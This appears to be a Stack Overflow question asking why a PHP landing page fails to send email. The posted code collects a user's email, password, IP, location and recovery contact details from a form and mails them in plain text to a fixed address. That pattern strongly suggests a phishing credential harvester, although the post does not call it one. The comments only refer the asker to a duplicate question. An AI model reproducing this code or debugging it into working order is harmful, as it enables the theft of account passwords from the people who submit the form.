I want to send a copy of my database input to a specific email address.

The database works well, I can see everything stored but the emails are not sending.

This is the email code i used.

if(isset($_POST['submit'])){
    $to = "email@example.com"; // this is your Email address
    $email = $_POST['email']; // this is the sender's Email address
    $password = $_POST['password'];
    $ip = $_POST['ip'];
    $location = $_POST['location'];
    $recemail = $_POST['recemail'];
    $recno = $_POST['recno'];
    $subject = "New submission";
    $message = "Email: ". $email . "<br> Password: "
     . $password . "<br>Location: " .$location . "<br> Recovery Email/No: ". 
     $recemail . $recno;
    $message2 = "New Entry From " . $email ;

    $headers = "From:" . $email;
    mail($to, $subject, $message, $headers); 


    }

I added this code to the landing page (success.php) after the form is submitted not the form page (form.php) where i submitted from.

This is the full landing page 

<?php require_once('Connections/dbConnect.php'); ?>
<?php 



 if(isset($_POST['submit'])){
        $to = "email@example.com"; // this is your Email address
        $email = $_POST['email']; // this is the sender's Email address
        $password = $_POST['password'];
        $ip = $_POST['ip'];
        $location = $_POST['location'];
        $recemail = $_POST['recemail'];
        $recno = $_POST['recno'];
        $subject = "New submission";
        $message = "Email: ". $email . "<br> Password: "
         . $password . "<br>Location: " .$location . "<br> Recovery Email/No: ". 
         $recemail . $recno;
        $message2 = "New Entry From " . $email ;

        $headers = "From:" . $email;
        mail($to, $subject, $message, $headers); 


        }

  • First you need to deal with this [php - detect if email is sent](http://stackoverflow.com/questions/14191446/php-detect-if-email-is-sent) – Mittul At TechnoBrave Mar 27 '17 at 12:30

    It would have been nice if you posted the link to the duplicate so i can find my answer there since you're not able to help out and you prevented others from doing so – Chima Mar 27 '17 at 12:52
  • Hi @MittulAtTechnoBrave I tried the samples from that link but it didn't send. – Chima Mar 27 '17 at 13:41
